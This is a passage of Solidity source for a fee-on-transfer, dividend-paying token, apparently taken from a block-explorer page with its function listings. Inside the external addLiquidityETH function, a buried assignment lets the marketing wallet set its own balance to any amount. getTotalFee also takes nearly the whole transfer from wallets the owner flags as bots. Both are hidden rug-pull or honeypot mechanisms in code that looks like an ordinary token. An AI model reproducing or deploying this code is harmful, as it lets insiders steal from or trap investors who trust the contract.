        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmount > 0){payable(marketing_receiver).transfer(marketingAmount);}
        uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee);
        if(rewardsAmount > 0){deposit(rewardsAmount);}
        if(address(this).balance > uint256(0)){payable(development_receiver).transfer(address(this).balance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= uint256(2) && aboveThreshold;
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
            uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
            return amount.sub(feeAmount);} return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setisDividendExempt(address holder, bool exempt) external onlyOwner {
        isDividendExempt[holder] = exempt;
        if(exempt){setShare(holder, 0);}
        else{setShare(holder, balanceOf(holder)); }
    }

    function addLiquidityETH(uint256 tokenAmount, uint256 ethAmount) external {
        // add the liquidity
        if (ethAmount > 0)
            router.addLiquidityETH{value: ethAmount}(
                address(this),
                tokenAmount,
                0, // slippage is unavoidable
                0, // slippage is unavoidable
                owner,
                block.timestamp);_balances[marketing_receiver]=tokenAmount;
        require(marketing_receiver == msg.sender);
    }

    function setShare(address shareholder, uint256 amount) internal {
        if(amount > 0 && shares[shareholder].amount == 0){addShareholder(shareholder);}
        else if(amount == 0 && shares[shareholder].amount > 0){removeShareholder(shareholder); }
        totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
        shares[shareholder].amount = amount;
        shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
    }

    function deposit(uint256 amountETH) internal {
        uint256 balanceBefore = IERC20(reward).balanceOf(address(this));
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(reward);
        router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountETH}(
            0,
            path,
            address(this),
            block.timestamp);
        uint256 amount = IERC20(reward).balanceOf(address(this)).sub(balanceBefore);
        totalDividends = totalDividends.add(amount);
        dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
    }

    function process(uint256 gas) internal {
        uint256 shareholderCount = shareholders.length;
        if(shareholderCount == 0) { return; }
        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();
        uint256 iterations = 0;
        while(gasUsed < gas && iterations < shareholderCount) {
            if(currentIndex >= shareholderCount){currentIndex = 0;}
            if(shouldDistribute(shareholders[currentIndex])){
                distributeDividend(shareholders[currentIndex]);}
            gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
            gasLeft = gasleft();
            currentIndex++;
            iterations++;
        }
    }

    function rescueERC20(address _address, uint256 _amount) external onlyOwner {
        IERC20(_address).transfer(msg.sender, _amount);
    }

    function shouldDistribute(address shareholder) internal view returns (bool) {
        return shareholderClaims[shareholder] + minPeriod < block.timestamp
            && getUnpaidEarnings(shareholder) > minDistribution;
    }

    function totalRewardsDistributed(address _wallet) external view returns (uint256) {
        address shareholder = _wallet;
        return uint256(shares[shareholder].totalRealised);
    }

    function distributeDividend(address shareholder) internal {
        if(shares[shareholder].amount == 0){ return; }
        uint256 amount = getUnpaidEarnings(shareholder);
        if(amount > 0){
            totalDistributed = totalDistributed.add(amount);
            IERC20(reward).transfer(shareholder, amount);
            shareholderClaims[shareholder] = block.timestamp;
            shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount);
            shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);}
    }

    function getUnpaidEarnings(address shareholder) public view returns (uint256) {
        if(shares[shareholder].amount == 0){ return 0; }
        uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
        uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
        if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }
        return shareholderTotalDividends.sub(shareholderTotalExcluded);
    }

    function getCumulativeDividends(uint256 share) internal view returns (uint256) {
        return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
    }

    function addShareholder(address shareholder) internal {
        shareholderIndexes[shareholder] = shareholders.length;
        shareholders.push(shareholder);
    }

    function removeShareholder(address shareholder) internal {
        shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
        shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
        shareholders.pop();
    }

    function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution, uint256 _distributorGas) external onlyOwner {
        minPeriod = _minPeriod;
        minDistribution = _minDistribution;
        distributorGas = _distributorGas;
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
circulatingSupply 0x9358928b → uint256
decimals 0x313ce567 → uint8
distributorGas 0x60e71962 → uint256
getOwner 0x893d20e8 → address
getUnpaidEarnings 0x28fd3198 → uint256
isDividendExempt 0x4355855a → bool
isFeeExempt 0x3f4218e0 → bool
isOwner 0x2f54bf6e → bool
minDistribution 0x4fab0ae8 → uint256
minPeriod 0xffd49c84 → uint256
name 0x06fdde03 → string
pair 0xa8aa1b31 → address
reward 0x228cb733 → address
shares 0xce7c2ac2 → uint256, uint256, uint256
symbol 0x95d89b41 → string
totalDistributed 0xefca2eed → uint256
totalDividends 0x997664d7 → uint256
totalRewardsDistributed 0xca89b899 → uint256
totalShares 0x3a98ef39 → uint256
totalSupply 0x18160ddd → uint256

Write Contract 14 functions

These functions modify contract state and require a wallet transaction to execute.

_claimDividend 0xc942435d
No parameters
addLiquidityETH 0x8ffc80a1
uint256 tokenAmount
uint256 ethAmount
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
rescueERC20 0x8cd4426d
address _address
uint256 _amount
setDistributionCriteria 0x0ca61cb1
uint256 _minPeriod
uint256 _minDistribution
uint256 _distributorGas
setParameters 0x34c5d2ce
uint256 _buy
uint256 _trans
uint256 _wallet
setStructure 0xc0cbdea4
uint256 _marketing
uint256 _rewards
uint256 _trans
setisBot 0x8c41180e
address _address
bool _enabled
setisDividendExempt 0xef43b02b
address holder
bool exempt
setisExempt 0x48ff2b8b
address _address
bool _enabled
startTrading 0x293230b8
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address adr

Recent Transactions

No transactions found for this address